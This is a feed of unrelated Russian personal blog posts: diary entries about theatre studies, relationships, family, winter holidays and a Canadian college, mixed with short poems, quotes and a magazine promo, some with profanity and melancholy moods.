Когда я спросила однокурсницу, как его зовут, она назвала мальчика именем Его сына и сказала, что фамилию не может вспомнить, но первая буква фамилии - Его! Я поржал. Только потом оказалось, что тезка-то Его, а не кого-то из родственников, а фамилия начинается на другую букву, но тоже очень напоминает.
Театральные вакансии есть всего на нескольких сайтах этой необъятной мировой сети. На один из них я захожу чуть не ежедневно - благо, там и обновления очень частые. На днях вот удивилась - как на сайт по поиску работы затесалась какая-то конференция/лекция/или-хз-что? Ну вот нафига? Ночью, понимая, что вот-вот наступит первое декабря и мне вырубят инет, судорожно доделываю инглиш, но как всегда в таких случаях перескакиваю на ненужную хрень - эту конференцию. Было без пяти минут 12, инглиш еще даже наполовину не сделан. И.. - та-даааам!.. тараканы в моей голове устроили салют! - вижу его фамилию в числе участников. На каком-то автомате, как лунатик, тут же зарегистрировалась. Серьезно, даже не помню, как это произошло. Потом с удивлением обнаружила, что и работы у меня в тот день нет, и дел вроде никаких, и сразу после учебы очень удобно туда поехать.
И я ведь, дура, поеду. Приносите мне в психушку апельсины.
А еще мое задротство на том сайте вчера и недоделанный английский дали свои плюсы - я увидела обалденную вакансию в театре, который люблю всей душой (нет, не Его театр, даже больше: Он его на дух не переносит, и тем любимее для меня - меньше шансов случайно пересечься). Пыхтела над резюме минут 40, отправила ближе к полуночи, сегодня весь день обновляла почту, за что мне попало от преподши на последней паре. Прихожу домой, открываю комп. Не дословно, но что-то типа "у вас прекрасное резюме, но, к сожалению, сотрудник на эту должность уже найден. если в ближайшем времени снова откроется данная вакансия - мы с вами свяжемся". Блин, вы в предыдущий раз то же самое говорили. Наверное, я дура еще и в том, что верю им. Да-да, свяжутся они, сто раз, ага.
А я сегодня мучилась с выбором - писать ли в тот музей. Думала, вот напишу сейчас, а если с театром срастется? Получается, я во второй раз их кину? Если там, конечно, меня первыми не пошлют куда подальше. Решила в итоге подождать ответа из театра. Ну вот, ответ есть, а написать по-прежнему боюсь. Нет-нет, я хочу туда вернуться не из-за этого мальчика, не только и не в первую очередь из-за него, по крайней мере :) Просто уже реально достал театр - завтра опять там работать, и как же не хочется ехать! Брр.. вы бы знали. Нет, бросать при этом тоже не хочу - буду совмещать театр с музеем, чтобы не приедалось ни то, ни другое.
Было время, когда у меня было два фильтра в принятии решений "если это не противоречит закону и не угрожает жизни и здоровью, то иди и делай!". И был железный мотиватор - а представь лица *каких-нб конкретных злобных сучек*, когда они узнают, где ты работаешь/чем занимаешься/с кем общаешься и т.п. Помогало, знаете ли. А сейчас.. сейчас я не знаю, что со мной. Просто ничего не хочу.

Хочу поделиться правдивой и жуткой историей из моей жизни, потому что мне уже страшно и, по правде говоря, я не знаю что и думать.

Маленькая предыстория: я учусь в театральном колледже на режиссёра-постановщика.

В этом семестре на режиссуре нашей задачей было сделать две работы: "живую песнь" или, попросту говоря, клип, а также "оживить картину" - придумать какой-либо сюжет, который выльется в статичную мизансцену (как раз-таки ту самую картину, которую мы выберем).

Одна моя однокурсница взяла, можно сказать, кусок собственной жизни и решила воплотить это в своём клипе. А история такова: полгода назад ей позвонила незнакомая женщина и сказала приезжать в больницу, потому что за её дедушкой (который болем раком) некому ухажить. К. удивилась, потому что её дед умер несколько лет назад, но женщина сказала, что это другой человек. Как выяснилось, у К. есть ещё один дедушка, родной, настоящий отец её мамы, с которым она ни разу в жизни не виделась. Шокированная К. приехала в больницу и познакомилась со своим дедом. В течение нескольких месяцев она за ним ухаживала, они очень сблизились и вообще, К. была безумно рада, что познакомилась с таким человеком, ибо он оказался очень добрым, весёлым и милым дедулей. В конце этого лета врачи сказали, что у него ремиссия и он может прожить ещё около года точно. К. была рада и дедуля, естественно, был рад.
Такая вот история.
А теперь то, что К. решила воплотить в клипе: девушке звонят и сообщают о том, что ей нужно срочно явиться в больницу, ведь за её бабушкой (пол родственника был изменён по причине отсутствия парней на нашем курсе), которая больна раком, некому ухаживать. Девушка в шоке, ведь никакой бабушки у неё нет. Она приезжает в больницу, знакомится с бабулей, сближается с ней, вытаскивает её на прогулки, оплачивает лечение. В один из дней девушка приезжает в больницу и врачи сообщают ей, что бабушка скончалась. Она входит в палату, где прежде проводила счастливые часы в общении с родственницей и находит там один лишь кленовый листок - подарок бабушки во время одной из прогулок. Символ её любви. Девушка поднимает листок, прижимает его к груди и погружается в свою тоску.

В день показа клипов мы с К. стояли на улице, она курила и рассказывала мне о том, что она поведала дедушке о постановке, которую делает в его честь, говорила, что дедуля был очень расстроен, когда узнал финал истории, сказал, мол, так вот ты веришь в своего деда, я ещё пару лет-то проживу! В этот момент у неё зазвонил телефон. Через секунд 30 после того, как К. подняла трубку, она начала плакать. Тут и без слов всё ясно. Дедушка умер.
Я не понимала что мне делать, потому что впервые в жизни у меня была такая ситуация. Но в голове всё вертелась мысль: совпадение? В день показа этой работы, в тот момент, когда она рассказывала мне всю эту ситуацию, позвонила знакомая дедушки и сообщила о его смерти.
До сих пор не знаю как это назвать.

А сейчас вкратце о том, что произошло сегодня.
Картину для своей работы я выбрала вот какую - Эдгар Дега "Балерина и женщина с зонтом"

И придумала такую историю: молодой балерине дают роль мечты - партию Жизель, её судьба, считай, предопределена, она на пике счастья, но тут приезжает её тётушка и сообщает о кончине отца. Девушка принимает решение вернуться из столицы домой, отказаться от карьеры и будущего ради воспитания своих младших сестёр, ведь теперь все они сироты, так как их мать умерла уже много лет назад.

Роль балерины должна была исполнять моя однокурсница Т. Мы много репетировали, ведь показ уже в эту пятницу. И сегодня она пишет, что приносит извинения за то, что не сможет участвовать в моей работе. Я на неё злюсь, ведь это подстава с её стороны, пишу ей в надежде выяснить причину, и тут Т. отвечает, что у неё умер папа.
Умер папа. Как у моей героини. Как и дедушка в постановке К.
И как это называть? Это уже не совпадение. Мне правда страшно. Очень страшно. Что это - судьба или злой рок? Или то неведомое, что преследовало съёмочную труппу "Мастера и Маргариты" и "Вия"?

В любом случае, с постановками про смерть и болезни теперь покончено. Навсегда.

Сейчас вот одногруппница написала, что на семинар по Международной торговле распечатала доклад, и даже не прочитала его, а в конце было «Ура! Так что слава богу, что мы победили этих грязных мразей». Я даже не знаю, что там автор статьи имел в виду, но ей очень повезло, что возле кафедры она как то быстро додумалась, что конец статьи стоит пропустить. И тут мне сразу вспомнился собственный неловкий случай, за который мне и стыдно, и смешно одновременно. В школе, а точнее в 10 классе, преподовательница литературы была такая невыносимая, что напрочь отбила у меня желание читать произведения из школьной программы. Так вот, я спрашивала у одноклассников, о чем книга, а сочинения успешно списывала с интернета. В один не совсем прекрасный день, нам задали читать «Тихий Дон» и написать свои впечатления о книге, а потом прочитать это на весь класс. Вообще, я действительно не любила (да и наверно сейчас не поклонница) читать свои мысли вслух перед людьми. Можете потом взять текст, и пусть его хоть миллионы читают, но когда на тебя оценивающе смотрят, это уже другое. Да и плюс ко всему, мысли то были не мои, я и не вникала, что списываю. И именно в этот день учительница решила спросить меня, я собралась с силами, прочитала, а она с улыбкой посмотрела на меня и говорит: «Очень интересно, но это ведь не Тихий Дон, а Поднятая целина». И я такая, мол, перепутала чего-то. И самое интересное, что благодаря моей хорошей учебе этот случай все одноклассники, и она в том числе, успешно забыли. Все, кроме меня, конечно же.

Та вот, сейчас столько курсовых, да еще и диплом нужно начинать писать, и у меня это занимает так много времени именно из-за того, что я каждую строчку по сто раз прочитываю, дабы не наступить на одни и те же грабли второй раз.

если вы никогда не бежали - значит, вы, непременно, сильный.

Тренируйся с теми, кто сильнее. Люби того, кого нельзя. Не сдавайся там, где сдаются другие. И победишь там, где победить нельзя.

в нас постоянны плохие фильмы, ночные оргии.
мы превращаемся в алкогольное злое месиво.
нам разрешается полюбить, а мы только трогаем.
и нам не весело, нам не весело, нам не весело.

ну а наша история закончилась так прекрасно,
что хоть книжку по ней напиши и раздай влюблённым
все обиды, ночью проглоченные таблетки - да побольше, чтоб точно не откачали, все истерики у подъезда, ночные слёзы, все "так жалко поудалять совместные фото", все "люблю тебя, но с тобой не буду - причины нет, так нужно", все 500 сообщений, оставленных без ответа, все "поверь мне, ведь я действительно умираю", все порывы уйти в монастырь, запереться в дурке, все попытки сбежать и найти магическую таблетку (и неважно, какую таблетку - снотворное или секс случайный)
всё вдруг просто исчезло, как будто кто-то переустановил программу, форматнул жесткий диск, залез и мозги прочистил, словно ту вот нашу с тобой феерическую реальность, кто-то сделал сном - мистическим и далёким
мы так счастливы не были даже в одной кровати
как теперь, когда друг друга забыли напрочь
я хотела бы думать, что правда тебя любила,
но а чем же тогда объяснить эту радость, что мы не вместе?

Встала сегодня пораньше, чтоб перед парами поехать за билетиками на катание в ледовик, давно уже очень хотела сходить и все никак не получалось, в итоге я не успела, уже вчера все билеты разобрали, еще никогда такого не было, беда печаль обида…

что мне делать, моя дорогая, если внутри я сгнил?
если молча смотрел, как взахлёб обо мне ты плакала.
я молил о покое, и Бог мне покой явил -
как мне вынести этот вакуум.

что мне делать, моя дорогая? ссохся и пожелтел,
я просил передышку, но получил под дых.
я рычал, аки волк, но этого не хотел -
унимая бурю, лишиться любой воды.

что мне делать, моя дорогая? теперь ты вся -
для меня просто надпись, которую ливень смыл.
я недавно звонил, сказал тебе, что иссяк,
и с тех пор мне не снятся сны.

что мне делать, моя дорогая, кто меня похоронит?
набросает цветов в глазниц опустевших полость.
я лежу и слышу, как кто-то тихонько стонет,
а потом узнаю свой голос.

нельзя просто так пересматривать любимый фильм и не наделать скринов :)

"Я от пули его закрывала,

Широко свои руки раскинув.

Когда падала только, не знала -

Что я гибну от выстрела в спину."

Злость лезет из всех щелей, сочится сквозь пальцы. Я ненавижу вас всех. Ненавижу до зубного скрежета. Я устала от бесконечного нытья, идиотских страданий, тупых извинений и еще более тупых оправданий. Абсолютно бессмысленные аргументы в спорах на пустом месте, никчемные обиды. Звонки, вопросы, рассказы о своих делах, когда я просила оставить меня, черт возьми, в покое. Что здесь непонятного? Мне абсолютно похуй. Я не хочу никого ни слышать, ни видеть. Дайте мне побыть одной и перегореть своей злостью в этом замкнутом пространстве, а не подпитывать ее кислородом

Твое дело будет стоить чего то только тогда, когда ты перестанешь оглядываешься через плечо, ища чьего-то одобрительного кивка, чтобы продолжить свой путь….

… или чьего-то упрека, чтобы бросить все к чертям.

Жизнь ломает людей без шума, без криков, без слез, незаметно.
Максим Горький "Мещане"

Paolo Sebastian Couture Fall/Winter 2015

Пора бы что-то менять.

Я тут подумала. Я так люблю животных и многое про них знаю. Хочет ли кто-нибудь видеть рубрику о животных? Может с интересными фактами и интересными породами, дрессировкой и советами по облегчению жизни своей и вашего питомца) Просто могу кидать красивые фото и истории

Наполняйте чашку горячим шоколадом, отправляйте имбирные пряники в духовку, доставайте елочные украшения и, включив рождественские композиции, приветствуйте зиму. В эту заснеженную пору мы особенно заботимся о домашнем уюте. Создаем праздник вокруг себя с помощью гирлянд и напевания новогодних мотивов, огораживая себя тем самым от колючего морозного воздуха.

FOLLOW US:
VK ・ INSTAGRAM ・ ISSUU ・ FACEBOOK ・ PINTEREST

У многих зима ассоциируется с замершими пальцами рук, красным носом, десятками слоев одежды и неуклюжей походкой. Холод отталкивает, но стоит только принять его – подружиться, как все вокруг приобретает более теплые и приятные тона. На помощь приходят большие шарфы, вязаные кофты, чашки с согревающими напитками, с которыми так хорошо по вечерам, разговоры с родными за просмотром новогодних кинолент, опрятные магазины, приковывающие взгляд прохожих, обмен письмами с самыми искренними и добрыми пожеланиями. Зима – особенная пора, в которую тут же влюбляешься, стоит увидеть первый густой снегопад. Тогда мир становится более отзывчивым и чувствительным, все вокруг улыбаются в предвкушении главного зимнего праздника.

Третий номер føle мы решили посвятить новогодней атмосфере. На страницах этого выпуска можно ощутить освежающий запах мандаринов, почувствовать всю волшебность предстоящих праздников и полюбить зимнюю пору так же, как любит ее редакция føle. Здесь вы очутитесь в декабрьском Нью-Йорке, находясь в незнакомом кафе, где гитарные струны переплетаются с историями людей: как сделать рождественский венок в качестве украшения для дома или подарка кому-то; каким чаем лучше встречать гостей и под какие песни рисовать пальцем узоры на замерзшем окне; как выглядит и пахнет пряничный мир; какие сказки стоит прочитать под теплым пледом и где же находят пингвины свои подарки, если на Северном полюсе нет елки.

— ЧИТАТЬ НОВЫЙ НОМЕР —

Решила немного приоткрыть свой блог, написав о себе поподробнее.

Итак, факты обо мне! Та-дадам!

1. Я до безумия люблю животных. Мне становится невыносимо плохо, когда я не могу помочь животному на улице. Недавно я увидела щенка метиса ротвейлера-худющего, но с интересом поглядывающего на мою собаку. Тогда я завела своего домой, насыпала Рэйчиной каши с подложку и побежала искать малыша. Ну, 7месячного примерно малыша :D В итоге, я его не нашла, хотя обошла всю округу. И мне стало до безумия горько, что я вернулась домой со слезами на глазах. И таких моментов очень много было.

2. Вся моя семья до 3 колена тесно связана с горным делом, а я решила стать ветеринаром, хотя всю жизнь готовилась пойти по стопам родителей. За полгода до экзаменов я решила сдавать биологию, которую вообще не знала.

3. Я искренне не понимаю людей, которые говорят, что ветеринары-жестокие люди.

4. Я могу проснуться посреди ночи и пойти мыть посуду.

5. Я лунатик

6. Я росла на песнях Металлики, Тупака и "Мальчик хочет в Тамбов"

7. Я обожаю летать в самолёте

8. Однажды я строила дом в Sims 7 часов

9. Единственный мой страх-потерять кого-то из близких мне людей. Ну, и пауки с тонкими лапами

10. Умею играть на гитаре

11. Мечтаю научиться петь, играть на фортепиано и ездить верхом

12. Помимо России мечтаю пожить в Италии и в Автралии

13. Люблю менять обстановку каждые полгода, даже нуждаюсь в этом. Жалко, что финансы этого не позволяют. Поэтому я стараюсь менять увлечения или цвет волос

14. Мороз в 30-40 гладусов преношу легче, чем жару. Оптимально +20 и до -40

15. Я метеозависима

16. На вьюи я уже 5 лет

17. Я ненавижу прогулки с другими парочками, которые встречаются меньше 2 лет. Ибо они все такие сладкие, что не отлипают друг от друга, поэтому это похоже на их свидание, а не на нашу дружескую встречу.

18. Я не нуждаюсь в постоянном общении с друзьями, но хочу, чтобы по моему зову все собирались рядом.

19. Я люблю внимание к себе

20. Мой первый и единственный молодой человек нашёл меня в Вк, где мы и общались почти полгода

21. Есть 1 человек, которого я искренне ненавижу всем нутром уже 3 года.

22. Ярая противница свадьбы "по залёту".

23. Могу нассказать самую большую свою тайну первому встречному на улице, но не близкому человеку.

24. Сигаретам предпочитаю хороший кальян

25. Дикая собственница. Не дай боже кто-нибудь отдаст мои игрушки или касеты незнакомым людям.

26. Для своих друзей и семьи я сделаю всё, что угодно. Отдам последние деньги, накормлю, напою и спать уложу, лишь бы уних всё было хорошо.

27. На всех тусовках я вкидываю больше всех денег, потому что потому.

28. Я преданный человек.

29. Родители отказываются покупать мне ролики и ругают даже за разговоры о них, не знаю почему.

30. Иногда я вижу будущее-отрывками или мелкими сценами во сне.

31. У меня хорошо развита интуиция, временами. Думаю, это связано с фазами Луны :D

32. Ненавижу, когда включено много света. Только в той комнате, где я нахожусь может гореть свет.

33. Обожаю солнце и небо

34. Хочу накопить деньги и получить лицензию пилота.

35. Меня легко подбить на авантюру

36. Люблю просто пялиться на людей, осматривать их и наблюдать за какими-нибудь их действиями. Так я очень часто влюблялась.

37. Могу рассказывать одну и ту же историю тысячу раз

38. Могу на запах определить достаточно ли в блюде соли. Во время насморка не готовлю.

39. Обожаю супермаркеты и продукты. Могу оставить 10 000, накупив кучу отличных продуктов (не чипсы и газировку с шоколадом)

40. Ненавижу молоко. И шоколад комнатной температы. Запихиваю шоколадки всегда в морозилку, так они не очень сладкие. И да, сладкое я тоже не люблю.

41. У меня живёт породистая редкая собака весом в 42 кг, подобранная на улице добрейшая кошка и шиншилла, который король этой семьи.

42. У меня плохое зрение.

Думаю, этого хватит, чтобы немного сделать выводы обо мне. Всем спасибо, все свободны :D

Мне кажется, что когда-нибудь я скажу ему: "Давай просто тра***мся. И ничего более". Или не ему. Кому-нибудь.

офигенские

Разговаривала накануне с женщиной; 30 лет, 3 детей, 10+ в браке.

И она мне сказала: "надо осознать и принять, что мужчина, с которым хочется строить семью, и мужчина, с которым хочется секса - два разных понятия."

То есть, тут как: либо выходишь замуж и спокойно живешь, без дикой страсти, даешь мужу ночью, днем рожаешь детей. Либо не выходишь замуж, не жаждешь заботы и опеки, просто трахаешься. Либо заводишь мужа, в бонус к нему любовника.

И я не буду это оспаривать, ведь в жизни нельзя и рыбку скушать и на хуй не сесть.

jaxaa-jaxa поздравляю тебя!!! я давно тебя не читала, но прочитав часть хочу пожелать тебе крепкого здоровья! Сил и энергии!! Крепись, теперь ты должна быть сильной, ради комочка счастья в тебе) )

Я вернулась) я не понмю когда перестала вести блог…и не помню почему именно. Но тут я решила зайти и перечитать то что было мною написано.

И я удивилась.

Все те эмоции что были написаны ранее, все те переживания, все ушло… Я больше переживала.

Сейчас я учусь в педагогическом унвиерситете, на психолога, я на 3м курсе. Учебу я совмещаю с работой и спорт залом (хотя с залом реже).

Коплю деньги что бы выучится на парикмахера или визажиста)))

Учеба конечно не огонь, но все же, я успеваю еще и работать. Да, устою, да я выматываюсь и уже думаю о том что работу стоит сменить…Но все же)

С С. отношения наладились, хотя мы так же и стоим на месте, по большому счету за все это время ни чего не изменилось, просто я стала проще относится ко многим вещам которые раньше во мне вызывали бурю эмоций. Теперь я более спокойна и могу высказать то что думаю по тому или иному поводу.

Я наверное повзрослела.

С первым днем Зимы! Вот и прошла осень. Пришел декабрь, который принес с собой выходной день, посвященный президенту. Да, 1-ое декабря Казахстан отмечает День Президента. На сие праздник мне, собственно, все равно. Главное (для меня), что в этот день мы отдыхаем.

Декабрь - волшебный месяц. И это волшебство, несомненно, связано с Новым Годом. Хочется украсить комнату, нарядить елку, заняться покупками и оформлением подарков, сделать много крутых фоток, пересмотреть Гарри Поттера и чтобы было много-много снега!

Но все, что я сделала за сегодня - это оформила тему блога под новогодний лад. Кстати на это ушло немало времени. Я конечно понимаю, что декабрь только начался и все мои вышеперечисленные "хочу" вполне реально осуществить, но ведь лень-матушка сильнее, да? или нет ? А вот это мы и узнаем в этом месяце!

А может мне составлять планы?На день, на неделю. Оставлять в заметках то, что нужно сделать обязательно. Правда, одновременно с этой идеей приходят сомнения о том, смогу ли им следовать. Проверим? Да! С этого месяца хочу взять себя в руки, хочу все успевать, привести себя в форму, прочитать больше книг, уделять время семье и сделать что-то действительно полезное! Посмотрим, что сделает со мной декабрь или что я сделаю с ним.

Завтра очень важный день в моей жизни. Важен он скорее для моих родителей больше, чем для меня. При этом мать меня доебывает. Она дохуя требует и не дает мне покоя. Я должна творить гениальные вещи, не смотря на ее ебанутый контроль. Хочу уже жить отдельно.

не бросай меня ради пустоты

рано или поздно, поздно или рано
утихают ссоры, зарастают раны,
высыхают слезы, улетают птицы
каждый получает то, к чему стремится.

да это ж те же грабли

не разглядел их в темноте

а ну-ка наступлю еще раз

да, те

Меня долгое времени не было здесь, восстановила все пароли и я снова здесь. Буду переделывать всё, я уже и забыла как менять коды, как тему даже поменять) Будем наверстывать, заочка епта юхуу :D

підведіть підсумки про "осінь-2015" і проживіть зиму краще.

— Я люблю смеяться, дурачиться и петь, папа! — крикнула в ответ Тилди. — Я не из тех, кто хочет замуж. Мне не найти жениха по себе, у меня своя философия.

Рэй Брэдбери «Жила-была одна старушка»

В этом году я не хотела наряжать квартиру к Новому году, элементарно некуда поставить ёлку. За год в нашем доме столько изменилось, что можно с ума сойти. Серёжа, скорее всего, уговорит меня как-то украсить квартиру, но я этого не хочу. У нас куча домашних животных, которые могут это всё погрызть и отравиться, хотя в том году всё было нормально. Если бы он всё таки ушёл в армию, то я бы точно ничего не делала. А тут я даже не знаю.

Уже неделю придумываю какой-нибудь костюм для собаки. В прошлый раз мы купили ему рожки Рудольфа, поэтому подумываю сделать из него оленёнка. Можно гримом или краской для тела нарисовать ему пятнышки и уздечку сделать :D Бабушку мы просто поставили перед фактом, что придём на праздник к ней. В прошлом году мне очень понравилось-собралось около 15 человек, все смеялись и болтали. Хочу также в этом году.

А вообще Серёжина мама который год пытается нас вытащить вечером 31 декабря кататься на сноубордах и лыжах в Бобровый лог. Но как-то это всё отменялось. А я бы хотела, хотя ещё не очень хорошо катаюсь.

Ещё самая крутая новость: 7 января прилетает мама! Госпади, как же я скучаю по родителям. Ближе к апрелю приедет и папа, надеюсь ему удастся взять отпуск на середину марта, чтобы он попал на мой День рождения. Потому что папа на него давно не попадал, что очень грустно.

А вообще я сейчас в невероятно воодушевлённом состоянии, чего давно не было.

я не знаю, но что-то внутри подсказывает мне, что нужно писать, собирать воспоминания, какие-то моменты и хранить их таким образом. я бы поудаляла все предыдущие посты, но, увы, их слишком много. в общем, привет всем, кто меня читает. что нового? все. учеба мотает мне нервы, но я держусь.все хорошо. я понимаю, что так нужно. от этого никуда не деться, но все же я бы хотела просто лежать в каком-нибудь гамаке, пить апельсиновый фреш и не думать вообще ни о чем.
пришла зима, а значит совсем скоро всеми любимый праздник. я реально не знаю что я буду делать, но в планах провести его с самыми близкими, обойтись без шумных компаний и прочего. либо я повзрослела, либо…не знаю что.

лично со мной все в порядке. я прочитала столько книг, сколько наверное за всю жизнь не читала.а виной тому ситуация в крыму! спасибо, что нет света. это даже хорошо влияет на меня, но все равно дико бесит.

если говорить о нас. мы. вместе. все хорошо. почти полтора года трепим друг другу нервы. он самый близкий, самый хороший. мой человек. тот, с кем я делю пополам абсолютно все. скоро будем жить вместе. я обожаю его запах. запах мужчины, мужского парфюма. я люблю его руки, самые сильные. он отгоняет тоску, либо наоборот вгоняет меня в дикую депрессию. так или иначе, он всегда рядом со мной. угораздило меня так. вляпаться :) я рада. спустя столько времени я нашла то, что многие ищут годами. я люблю. да, я люблю.

Когда он меня взял за руку первый раз, это было лучше первого поцелуя. Лучше всего. Я хотела, чтобы он никогда не выпускал мою руку из своей.

Повторится ли подобное с кем-то ещё?

День 53: Ваш день в мельчайших подробностях.

Сегодня у нас праздник, а значит - выходной)
Будильник прозвенел в 10.04, но я его отключила, вновь заснув. Проснулась в 12, помнила кусочек сна: лысый боксер, стучался к нам в дверь. Но у меня есть тупая привычка - прикинуться, что меня нет дома. Проснувшись, в голове крутилось: Стив Боулд, Стив Боулд. Вбила в гугле - это оказался помощник Венгера, а ни какой не боксер)
Пришла мама, принесла еды. Позавтракав, помчалась к хомякам. Долго их мучала, не давала поспать. Одного выпустила в ванной, побегал, хотел вырваться) Почитала руб по эк теории. Уже 7 часов вечера - домашний день)
Хотя Фн звали на каток, а кое-кто - на автопробег, покататься на приоре)

Ты любишь меня. Правда или неправда?

Правда.

время громко ругаться матом, падая на скользком льду, кутаться в шарфы, печально глядеть на свои покрасневшие руки и потрескавшиеся губы, носить неудобные шапки, в которых ты смешно выглядишь, особенно, когда снимаешь её и твои волосы просто "агх…блин", время кутаться в депрессию и плед, пить горячий чай, хотеть умереть в торговом центре, выбирая подарки к новогодним праздникам для близких, время забиться в этот быт с головой, то проклиная всё на свете, то наслаждаясь такими простыми вещами как снег за окном и тёплый ужин с семьёй, снежки, отвратительно орущая радостная детвора на горках, и светящиеся гирлянды развешенные по всему вечернему городу.
я не знаю что ждать от этого декабря, каким он будет, но мне до одури хочется хоть чего-нибудь хорошего, и разве не самое время надеяться на чудо?
чёрт возьми, чёрт возьми, декабрь, не пройди даром, прошу.

подруга сообщила, что в Москве уже неделю работает филиал Почты Деда Мороза. новости предшествовал вопрос "Лен, дело серьезное. ты со мной?" черт возьми, я никогда бы не отказалась от такой возможности! мне нечего у него просить для себя (ну как нечего… кроме квартиры, шубы, нового айфона, хорошей работы точно нечего). для меня это было бы отличным шансом донести свои желания до кого-то, кто не сможет осудить за них, кто не выскажет неодобрения и не засмеет в глаза. открыть душу кому-то незнакомому, далекому, могущественному хе-хе. не богу. в бога я не верю. но я верю, что чудеса случаются под Новый Год.

я пишу письма уже несколько нет. без отправки, скорее в космос, в пространство, чем кому-то конкретному. и в каждом письме я неизменно заказываю снегопад в новогоднюю ночь. и, знаете, еще ни разу заказ не оставался невыполненным.

время идет, Лена растет. пора, девочка, подходить к любому делу с повышенной ответственностью. тем более к такому! бери ручку и бумагу. начинаем.

+

диана арбенина: * существует*

я:

у меня есть две крайности, в которые меня время от времени перекидывает. первая- это отсутствие каких либо чувств и эмоций. тогда я могла бы сравнить себя с перекати-поле среди пустыни, где последняя- моя жизнь, а я сухой, безразличный к ветрам и пыли, ко всем неудобствам и отсутствию чего бы то ни было, к себе и ко всему, что происходит вокруг, ко всем бедам и радостям, вещам, и идеям, и теориям- всему что есть на свете- мертвецкий комок.
второе моё агрегатное состояние- это переполненность всем и сразу. и я не могу говорить спокойно, сидеть на месте- только взахлеб, в любой момент готовая сорваться или разрыдаться, отвечая на малейшее движение извне. я, не знаю можно ли это с чем-то сравнить, как шарик с водой что-ли, как эта самая бомбочка, - только толкни меня, и я разобьюсь, расплескав всё, что наполняет меня. мучительно- столько всего и сразу, столько всего снаружи, что получает отклик внутри меня, и столько мыслей, столько чувств внутри, столько всего, что я совершенно не могу облечь в форму, буквально раздирает тебя изнутри, и, не сумев выбраться наружу в виде чего-то конкретного, оно, внутри, - либо там и умирает, либо мучает, либо совершенно не к месту и некстати, всегда так прозаически неприглядно разбивается о предмет реальности и выплескивается в виде сырых эмоций. это совершенно ужасно, и это мучает- ты наполнен, и мир вокруг наполнен, но ты не можешь выразить себя, ты не можешь посвятить себя в него, то, что должно быть его частью, остаётся в тебе. это всё равно что быть немым, тебе столько всего надо сказать, вот оно, прямо сейчас, а ты не можешь, просто физически не можешь.
я не знаю, что хуже, но и то и другое в равной степени меня выбивает из колеи, и является частью того, что угнетает меня. совершенная неспособность жить в гармонии с собой и с окружающим миром, взаимодействовать с ним, выражать себя, я не знаю, это всё меня просто убивает.
может и поэтому я так остро реагирую на отсутсвие нужной мне реакции, нужного восприятия меня конкретными людьми, потому что быть непонятым, нести всё это в себе, одному, всегда одному, не находя нигде понимания, поддержки, это слишком для меня. я слабая для этого, я могу многое снести, но не это.
чувствую себя изувечено и разбито, совершенно разбито.

Привет, VIEWY!

В доме, в котором я работаю, живет девочка Даша. Ей 7 лет, она ходит в первый класс и ужасно боится ездить на лифте. Поэтому каждый раз, когда она приходит из школы, я вместе с ней еду на 5 этаж. Сегодня, когда двери лифта открылись, Даша пропустила меня вперед. Мы поехали наверх и она сказала: "Я тебя пропустила, потому что это правило". На мой недоуменный взгляд девочка пояснила:"В лифт первыми заходят взрослые, а выходят дети".
И тут я поняла, что выросла.

Почему я такая дура и верю, что что-то изменится? Помогаю людям. Зачем? Это выглядит как будто я им жопу лижу и бегаю за ними, а на деле я просто считаю тебя другом и помогаю когда ты просишь, а ты просто используешь меня. Достало это все. Хватит быть такой идиоткой. Бесит бесит бесит… опять в слезы и вечер в сраку.

Готова домашку за тебя делать, а ты..

Как я и обещала, рассказ о том где же я учусь. Информации в моей голове много, поэтому я не уверена что вмещу всё, но постараюсь.

ЧАСТЬ 1

So, let's begin. Пожалуй, начну с истории, так как она довольно уникальна. Мой колледж называется Vanier, в честь одного интересного дяденьки, но суть не в этом. Изначально, лет так 60 назад это здание было церковью, а вместо классов были комнаты для монахинь. Со временем, религия в Канаде отошла на самые почти последний план, и это здание переделали под колледж, пристроив при этом еще одно дополнительное здание рядом. И того, наш колледж состоит из двух зданий 1 - огромное протяжное здания, с секциями A, B, C, D и F. И новое здания под названием N bulding.

Что самое интересное, что всю эту красоту и огромные здания, с двух сторон окружает кладбище. Да, именно кладбище. Я могу представить реакцию каждого, но честно сказать, выглядит оно не настолько угрюмо, как кажется. Да и студенты все быстро осваиваются и привыкают к этому, что позже совсем даже не обращаешь внимание.

На самом деле, территория колледжа просто огромная, включая стадион для футбола, два здания, парк между двумя зданиями, и парк перед главным зданием. Первое время я даже терялась и запутывалась в секциях, если к примеру первый урок в секции А, а второй в секции N. Что безумно нравится, там это комфорт и сервис в колледже. На каждом этаже в каждой секции есть что-то вроде фае, лобби, зала, оснащенного мягкими диванами и столиками. Т.е. если у кого-то большой перерыв между уроками, ты можешь посидеть там и позаниматься, или делать свои личные дела. Так что, в каждом здании есть IT center, сервис для пользования компьютерами, делания рефератов и печатания. Все технологии предоставляются студенту бесплатно. Так же есть и библиотека, где можно найти кучу учебников, словарей, литературы или точно так же взять компьютер на пару часов для работы.
Думаю, для первого поста достаточно. Если интересно, выложу и вторую часть с новой информацией :)

Things take time
So just be patient

— Кто ты по гороскопу?

— Я ужас, летящий на крыльях ночи! Я - страх, пронзающий ночь!

Я - десница судьбы! Я…

— Скорпион ?

— Да.

Пока Сережа на учебе в Москве на 2 недели, я живу у родителей.

У многих моих знакомых вопрос: Зачем?

Ответ прост, я скучаю. Скучаю по своим маме и папе, кошке, комнате, атмосфере.

В своей квартире я создаю атомосферу уюта, я хочу туда возвращаться к мужу, проводить время в своей обстановке я тоже хочу.

Но ничто и никогда не сравнится с домом мамы. Когда ты приезжаешь, а тебе рады настолько, будто не видели целую вечность, хотя прошла неделя. Где всегда вкусно пахнет.

Разбирала вещи в шкафу, решая что мне нужно еще забрать в Тулу и расплакалась. Просто от того, что какая-то часть моей жизни ушла на всегда.

Да, ее сменило очень чудесное время.

И сейчас в моей душе разрыв. Потому что я невыносимо скучаю по Сереже. Я готова сорваться к нему и жить под окнами его общежития, уехать, бросив все.

И с другой стороны мне очень хорошо дома. Как будто я хочу снова почувствовать как это быть маленькой дочкой своих родителей. Как это бродить вечером с мамой по магазинам. Ждать, когда папа придет с работы и будет расказывать новости. Готовиться вместе к Новому году, складывать подарки под елку.

Больно от того, что в моей голове мысли - этого больше никогда не будет. Все в укороченном варианте. Потому что большую часть времени сейчас я, естественно, провожу с Сережей. И это замечательно. Так как с ним мне никогда не было хорошо.

Моя душа не готова еще полностью принять мое отсоединение от родителей. Хотя будь оно иначе, не будь Сережи, я бы страдала.

В общем этакая минутка грустной ностальгии.

